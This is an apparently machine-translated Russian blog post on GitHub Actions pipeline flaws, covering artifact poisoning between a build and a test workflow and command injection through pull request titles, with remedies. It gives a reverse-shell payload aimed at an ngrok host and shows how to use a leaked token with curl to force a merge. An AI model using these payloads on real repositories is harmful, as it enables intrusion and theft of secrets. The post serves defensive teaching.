В предыдущих сообщениях (см. Косвенное отравление Pipeline Исполнение И-СИЗ и Отравленные Pipeline Исполнение СИЗ , мы имели дело в основном со СИЗ (Отравленными Pipeline Исполнение): мы увидели, как это работает, его последствия, некоторые способы использования, а также способы защиты от него.
В этом посте мы подробно рассмотрим некоторые другие CI/CD pipeline уязвимости, такие как отравление артефактами и внедрение кода.
Для этого мы каким-то образом будем использовать СИЗ, поэтому давайте кратко подведем итоги того, что мы видели о СИЗ.
Предыдущая работа по СИЗ
Подводя итог, мы начали с базового GitHub. pipeline для сборки и тестирования предоставленного кода через pull request. Кроме того, он определяет некоторые проверки, которые, если они выполнены, объединят код в основную ветку. Мы назвали это как Сценарий #1.

В нашей предыдущей статье мы продемонстрировали, как этот базовый pipeline законопроект уязвим как для D-PPE, так и для I-PPE.
Нам удалось исправить Д-СИЗ by изменение триггерного события от pull_request в pull_request_target, что делает pipeline безопасен для D-PPE. Как напоминание, pipelines, вызванный событием pull_request_target, выполнит базовый pipeline код, а не pipeline код, содержащийся в pull request.
Мы назвали это как Сценарий #2.

В результате этой модификации мы продемонстрировали, что Сценарий № 2 все еще был уязвим для I-PPE..
Чтобы это исправить, мы решили разделить pipeline на два:
- 1-й pipeline (Построить CI) было бы проверить PR-код (для его создания), выполните сборку и сгенерируйте артефакт.
- 2nd pipeline (Тестовый CI) было бы проверить базовый код (чтобы избежать модификации сценария оболочки) и выполнить исходные сценарии для артефакта.
- Синхронизация тестового ЭК pipeline запускать ПОСЛЕ сборки CI pipelineмы будем использовать рабочий процесс_запуск вызывать.
Мы назвали это как Сценарий #3.

Давайте восстановим код обоих pipelines согласно этим модификациям…
1 pipeline (Сборка CI):
name: Build CI on: pull_request_target: branches: [ main ] env: MY_SECRET: ${{ secrets.MY_SECRET }} GITHUB_PAT: ${{ secrets.GH_PAT }} jobs: prt_build_and_upload: runs-on: ubuntu-latest steps: - name: Checking out PR code uses: actions/checkout@v4 if: ${{ github.event_name == 'pull_request_target' }} with: # This is to get the PR code instead of the repo code ref: ${{ github.event.pull_request.head.sha }} - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt # Upload the binary as a pipeline artifact - name: Archive building artifacts uses: actions/upload-artifact@v3 with: name: archive-bin path: | bin 2 pipeline (Тестовый CI):
name: Test CI on: workflow_run: workflows: [ 'Build CI' ] types: [completed] env: MY_SECRET: ${{ secrets.MY_SECRET }} GITHUB_PAT: ${{ secrets.GH_PAT }} jobs: deploy: runs-on: ubuntu-latest if: ${{ github.event.workflow_run.conclusion == 'success' }} steps: # By default, checks out base code (not PR code) - name: Checkout repository uses: actions/checkout@v4 # Download the artifact - name: 'Download artifact' uses: actions/github-script@v6 with: script: | let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({ owner: context.repo.owner, repo: context.repo.repo, run_id: context.payload.workflow_run.id, }); let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => { return artifact.name == "archive-bin" })[0]; let download = await github.rest.actions.downloadArtifact({ owner: context.repo.owner, repo: context.repo.repo, artifact_id: matchArtifact.id, archive_format: 'zip', }); let fs = require('fs'); fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data)); # Unzip the artifact - name: 'Unzip artifact' run: | unzip -o myartifact.zip # Runs tests - name: Running tests ... id : run_tests run: | echo Running tests.. chmod +x runtests.sh ./runtests.sh echo Tests executed. # # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge) # - name: pr_check_conditions_to_merge id: check_pr run: | echo "check_conditions_to_merge" PR_ID=$(<PR_ID.txt) PR_TITLE=$(<PR_TITLE.txt) echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE" echo "merge=false" >> $GITHUB_OUTPUT - name: pr_merge_pr_false if: steps.check_pr.outputs.merge == 'false' run: | echo "The merge check was ${{ steps.check_pr.outputs.merge }}" echo "Merge conditions NOT MEET!!!" - name: pr_merge_pr_true if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK' run: | echo "The merge check was ${{ steps.check_pr.outputs.merge }}" echo "Merge conditions successfully MEET!!!" echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' Отравление артефактом
Согласно вышеизложенному CI/CD pipelines:
- pipeline Построить CI is безопасности как для Д-СИЗ (из-за pull_request_target) и расширение I-СИЗ (потому что он больше не выполняет сценарий оболочки).
- pipeline Тестовый CI Также безопасности как для Д-СИЗ (из-за рабочий процесс_запуск) и расширение I-СИЗ (потому что он проверяет базовый код, чтобы получить исходный сценарий оболочки)
Давайте углубимся в это «решение».
Pipeline Тестовый CI загружает артефакт в виде zip-файла.
# Unzip the artifact - name: 'Unzip artifact' run: | unzip -o myartifact.zip # Runs tests - name: Running tests ... id : run_tests run: | echo Running tests.. chmod +x runtests.sh ./runtests.sh echo Tests executed. После распаковки он выполняет «безопасный» сценарий оболочки. Почему я говорю «безопасный» сценарий оболочки? Поскольку на предыдущем этапе pipeline проверяет «базовый» код, поэтому исходный сценарий помещается в папку рабочей области. Поэтому, когда pipeline выполняет сценарий оболочки, который он запустит, используя ранее загруженный двоичный файл.
Тогда каков проблема с таким подходом? Проблема возникает когда любой пользователь «создает» новый pipeline.
Если пользователь открывает PR, содержащий новый pipeline, GitHub выполнит это pipeline (при некоторых условиях, как мы видели в предыдущем после).
Учитывая это, что, если пользователь создаст новый pipeline с тем же именем, что и у Build CI? Да, это удивительно, но GitHub позволяет вам создать два pipelineс таким же именем!!
Помните, что Test CI будет выполняться после Build CI…
name: Test CI on: workflow_run: workflows: [ 'Build CI' ] types: [completed]Удивительно, ведь их теперь два. pipelineс таким же названием, pipeline Тест CI будет выполнен дважды: один после оригинала pipeline и прочее после «нового» pipeline.
Как хакер может этим воспользоваться?
- Во-первых, злоумышленник может изменить сценарий оболочки, чтобы отправить секрет на сервер, контролируемый хакером.
- Во-вторых, новый pipeline включает строку для копирования модифицированного сценария оболочки в артефакт → отравление артифыКТ!!!
Когда пользователь открывает PR с этими изменениями, «новый» pipeline будет выполнено (загрузка отравленного артефакта) и команда Deploy CI pipeline будет выполнено после этого, что приведет к «модифицированный» сценарий оболочки перезаписывает «исходный» сценарий оболочки, расположенный в pipeline Рабочее пространство.

Это то, что мы называем Отравление артефактом, т.е. возможность модифицировать (взламывать) pipeline логику путем модификации pipeline артефакт.
Один возможный рекультивация довольно просто: простое разархивирование артефакта в подпапку рабочей области позволит избежать перезаписи «базового» сценария оболочки..
Ввод кода
Помимо отравления артефактами, видите ли вы в приведенном выше коде какую-либо другую уязвимость?
Погнали!!
Как вы можете видеть в коде, pipeline Сборка CI собирает двоичный файл и загружает его как pipeline артефакт и, кроме того, загружает пару дополнительных данных: заголовок PR и идентификатор PR.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txtПочему? Потому что для слияния ПР, как видно ниже, Тестовый CI pipeline нужен идентификатор PR для вызова API REST GitHub, который объединяет PR.
Как проходит Тест CI pipeline получить этот PR ID? Совместное использование информации в текстовых файлах (часть pipeline артефакт) — распространенный способ обмена информацией между pipelineс. И это именно то, что эти pipelines делают.
echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' Строго говоря, для объединения PR необходим только идентификатор PR, но pipeline Администратор решил, что CI сборки также должен включать заголовок PR, чтобы тестовый CI pipeline распечатал бы некоторое информационное сообщение, содержащее как идентификатор PR, так и заголовок.
name: Build CI - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt name: Test CI [...] PR_ID=$(<PR_ID.txt) PR_TITLE=$(<PR_TITLE.txt) echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE" Заголовок PR всегда представляет собой данные, поступающие от пользователя, и поэтому его всегда следует рассматривать как ненадежный., Так что pipeline должны обращаться с ними соответствующим образом и принимать защитные меры.
В приведенном выше коде мы видим конкретное сообщение, повторяющее заголовок PR. Это просто команда Linux «echo».
Посредством интерполяции строк, если заголовок является «фиктивным заголовком», Github внутренне генерирует скрипт, содержащий
echo ""a dummy title""Но что, если PR-заголовок будет выглядеть примерно так:
Вредоносное название» && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "Сценарий станет:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "" В результате открывается обратная оболочка против сервера, контролируемого хакером.

Эта обратная оболочка может использоваться для доступа к pipeline секреты (помните, что Test CI работает в привилегированном режиме, поскольку он запускается с помощью workflow_run и имеет доступ к секретам).
Но что еще можно сделать с помощью этой обратной оболочки?
Посмотрите на код теста CI:
env: GITHUB_PAT: ${{ secrets.GH_PAT }} [...] echo "Merging .." PR_ID=$(<PR_ID.txt) curl -L \ -X PUT \ -H "Accept: application/vnd.github+json" \ -H "Authorization: Bearer $GITHUB_PAT" \ -H "X-GitHub-Api-Version: 2022-11-28" \ https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \ -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' Как вы можете видеть в Test CI pipeline, команда слияния Curl использует GITHUB_PAT (определенный как pipeline env var), поэтому бегун содержит GITHUB_PAT в качестве переменной среды. Более того, он также создает переменную окружения, считывающую PR ID.
Таким образом, хакеру достаточно скопировать команду Curl и вставить ее в реверс-шелл, сливая PR непосредственно в защищенную ветку.

Чтобы защититься от всего этого:
- к избежать строковая интерполяция с ненадежными данными (уязвима для инъекция кода) от определяющий pipeline переменные окружения вместо использования его непосредственно в командах echo
Вместо использования:
name: Build CI - name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txtИспользуйте это:
- name: Building ... run: | mkdir ./bin touch ./bin/mybin.exe # Save some PR info for later use by the 2nd pipeline echo "$PR_TITLE" > ./bin/PR_TITLE.txt echo "${{github.event.number}}" > ./bin/PR_ID.txt env: PR_TITLE: ${{github.event.pull_request.title}} - Даже при использовании эксплойта внедрения кода команда слияния Curl не сработала бы, если бы вы правильно защитил ваш pull requests через обязательное рассмотрение или одобрение.
Выводы
Как-то сложно защитить CI/CD pipelineконфигурацию и получить pipelineне содержит уязвимостей.
Это не значит, что CI/CD системы (в данном случае GitHub) уязвимы сами по себе. CI/CD системы предоставляют средства защиты от уязвимостей... но ответственность за реализацию этих мер защиты лежит на администраторе.
Но… Вы не можете устранить уязвимость, если не знаете о ее существовании!!!
Конечно, высококвалифицированный администратор DevOps может иметь в виду все эти угрозы и должным образом защитить CI/CD pipelines, но, даже в этом случае, очень ценно использовать продукт для обнаружения всех этих видов уязвимостей. И, конечно, автоматизировать этот процесс задержания уязвимостей (например, запуск сканирования как части CI/CD pipelineс).
Этот подход можно назвать «Ворота безопасности"
- Создать новый pipeline (Ворота безопасности) для проверки CI/CD pipelineуязвимости и сделать другие CI pipelines выполняться только после успешного завершения шлюза безопасности pipeline.
- Ворота безопасности pipelines проверит CI/CD pipelineуязвимости и,
- Если уязвимости будут найдены, он выйдет из строя и, следовательно, другой pipelines не будет выполнено.
- Если уязвимостей не обнаружено, pipeline добьется успеха и другой pipelines будет выполняться как обычно.







